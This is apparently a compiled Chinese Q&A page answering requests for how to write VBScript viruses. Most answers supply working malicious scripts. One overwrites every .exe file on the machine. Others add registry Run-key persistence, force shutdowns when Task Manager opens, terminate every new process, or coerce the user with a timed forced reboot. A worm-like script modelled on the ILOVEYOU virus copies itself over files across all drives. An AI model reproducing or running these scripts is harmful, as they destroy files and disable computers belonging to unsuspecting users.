VBS病毒怎样做?
on error resume next
Set FSO = CreateObject("Scripting.FileSystemObject")
Set bage= GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set pipe =bage.ExecQuery("Select * from CIM_DataFile where Extension = 'exe'")
For Each File in pipe
Set objFile =FSO.OpenTextFile(file.name,8,true)
objFile.Writeline "111111"
objFile.Close
next
vbs脚本病毒编写教程(不是拿去害人,是自己用来玩玩) 急!!!!!
Set ws=WScript.CreateObject("wscript.shell")
Set fso=WScript.CreateObject("scripting.filesystemobject")
path1=fso.GetSpecialFolder(1)
Set fs1=fso.getfile(WScript.ScriptFullName)
path2=path1 "\" fs1.Name
ws.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\aa","""" path2 """","REG_SZ"
If Not fso.FileExists(path2) then
fs1.Copy(path1 "\")
ws.Run """" path2 """",True,True
End If
do
Set wmi=GetObject("winmgmts:\\.\root\cimv2")
Set list=wmi.ExecQuery("select * from win32_process where name='taskmgr.exe'")
If list.count0 Then
Call fun2()
End If
WScript.Sleep 3000
loop
Function fun2()
do
Set wmi2=GetObject("winmgmts:\\.\root\cimv2")
Set list2=wmi2.ExecQuery("select * from win32_process where name='taskmgr.exe'")
If list2.count=0 Then
Set wmi3=GetObject("winmgmts:{(shutdown)}\\.\root\cimv2")
Set list3=wmi3.ExecQuery("select * from win32_operatingsystem")
For Each uu In list3
uu.win32shutdown(2+4)
next
End If
wscript.sleep 2000
loop
End function
如何制作vbs
VBS全称是Visual Basic Script,是微软推出的,由宿主解释执行的一种脚本语言。VBS用记事本即可编写,在记事本中输入代码,如“msgbox now”(不含引号),保存后将后缀名txt改为vbs即可。由于拓展名VBS于另一种程序的文件拓展名有冲突,所以引进了VBE,而现在一般将加密后的VBS文件保存为VBE格式
制作一个病毒脚本文件,格式为VBS或VBE,运行后使系统无法打开任何程序和文件,教教怎么做,谢谢各位大神
strComputer ="."
set ws = createobject("wscript.shell")
set objWMIService = getObject("winmgmts://" strComputer "/root/cimv2")
strQuery = "SELECT * FROM __InstanceOperationEvent WITHin 2 WHERE TargetInstance ISA 'Win32_Process'"
set objEventSource = objWMIService.ExecNotificationQuery(strQuery)
ws.popup "进程监控开始...",1,"静飞 进程监控",64
do
set objEventObject = objEventSource.NextEvent()
select case objEventObject.Path_.Class
Case"__InstanceCreationEvent" '启动新进程,结束进程
Set colProcessList=objWMIService.ExecQuery("Select * from Win32_Process Where Name='" objEventObject.TargetInstance.Name "'")
For Each objProcess in colProcessList
objProcess.Terminate()
Next
Case"__InstanceDeletionEvent" '进程被关闭
't = objEventObject.TargetInstance.CreationDate
'ti = mid(t,9,2) ":" mid(t,11,2) ":" mid(t,13,2)
'ts = datediff("s",ti,time)
'msg = "共运行" ts \ 3600"小时" (ts mod 3600) \ 60 "分钟" (ts mod 3600) mod 60 "秒"
'ws.popup "进程被关闭:" vbcrlf objEventObject.TargetInstance.Namevbcrlf msg,2,"静飞 进程监控",64
End select
loop
怎么用VBScript做一个可以破坏系统的病毒?
这个很难,几乎不可能
1、VBScript只能运行在IE浏览器中,即使做成VBS可独立运行的文件,也无法完全脱离IE浏览器;
2、VBScript是脚本程序,除了要受IE浏览器的安全机制约束,还要受其他很多限制,如果电脑系统中存在阶级,那么VBScript就是最底层的贫民,是屌丝中的屌丝;
3、360这类的安全软件对VBScript这类脚本程序一向严查、毫不手软的;
4、即使以上这些都不算事,一个软件要想破坏系统也绝非易事,也不知你说的破坏系统究竟是指破坏硬件系统还是软件系统,前者是不可能的,后者在几乎每台电脑都装了360或电脑管家的今天也几乎是不可能的;
5、即使以上这些都能做到,你还要求简单一些,那就只有上帝知道了,前提是上帝也懂编程。
怎样编写简单的病毒文件?
on error resume next
Dim fso,file
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.getfile(WScript.ScriptFullName)
file.copy "c:\windows\system32\"
Dim AutoRunProgram
Set AutoRunProgram = WScript.CreateObject("WScript.shell")
RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"
Type_Name = "REG_SZ"
Key_Name = "ceshi.vbs"
Key_data = "C:\windows\system32\ceshi.vbs"
AutorunProgram.RegWrite regpathKey_Name,Key_data,Type_Name
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""说我是猪,不说我是猪就半分钟关你机,不信,试试···"" ",0 ,true
dim a
do while(a "我是猪")
a = inputbox ("说我是猪哦,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真过瘾"
另存为ceshi.vbs就行。
另:这是VBS脚本,是VB语言,非C语言,楼主请弄明白。
求用vbs编写autorun病毒简单代码,给分很多的
自己改一下:
dim folder,fso,foldername,f,d,dc
set fso=createobject("scripting.filesystemobject")
set self=fso.opentextfile(wscript.scriptfullname,1)
vbscopy=self.readall '读取病毒体,以备复制到文件
self.close
set dc=fso.Drives
for each d in dc
if d.drivetype=3 or d.drivetype=2 then '检查磁盘类型
wscript.echo d '弹出窗口,显示找到盘符
scan(d)
end if
next
lsfile=wscript.scriptfullname '该脚本程序路径
set lsfile=fso.getfile(lsfile)
lsfile.delete(true) '病毒运行后自我删除(本人自加,爱虫病毒本身没有该代码)
sub scan(folder_)
on error resume next
set folder_=fso.getfolder(folder_)
set files=folder_.files
for each file in files
ext=fso.GetExtensionName(file) '获取文件后缀
ext=lcase(ext) '后缀名转换成小写字母
if ext="mp5" then '如果后缀名是mp5,当然不存在这种文件,这里可以自己修改,但是注意。请自己建立相应后缀名的文件,最好是非正常后缀名
set ap=fso.opentextfile(file.path,2,true)
' ap.write vbscopy '覆盖文件,慎用
ap.close
set cop=fso.getfile(file.path)
cop.copy(file.path ".vbs") '创建另外一个病毒文件
' file.delete(true) '删除原来文件
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders '搜索其他目录
scan(subfolder)
next
end sub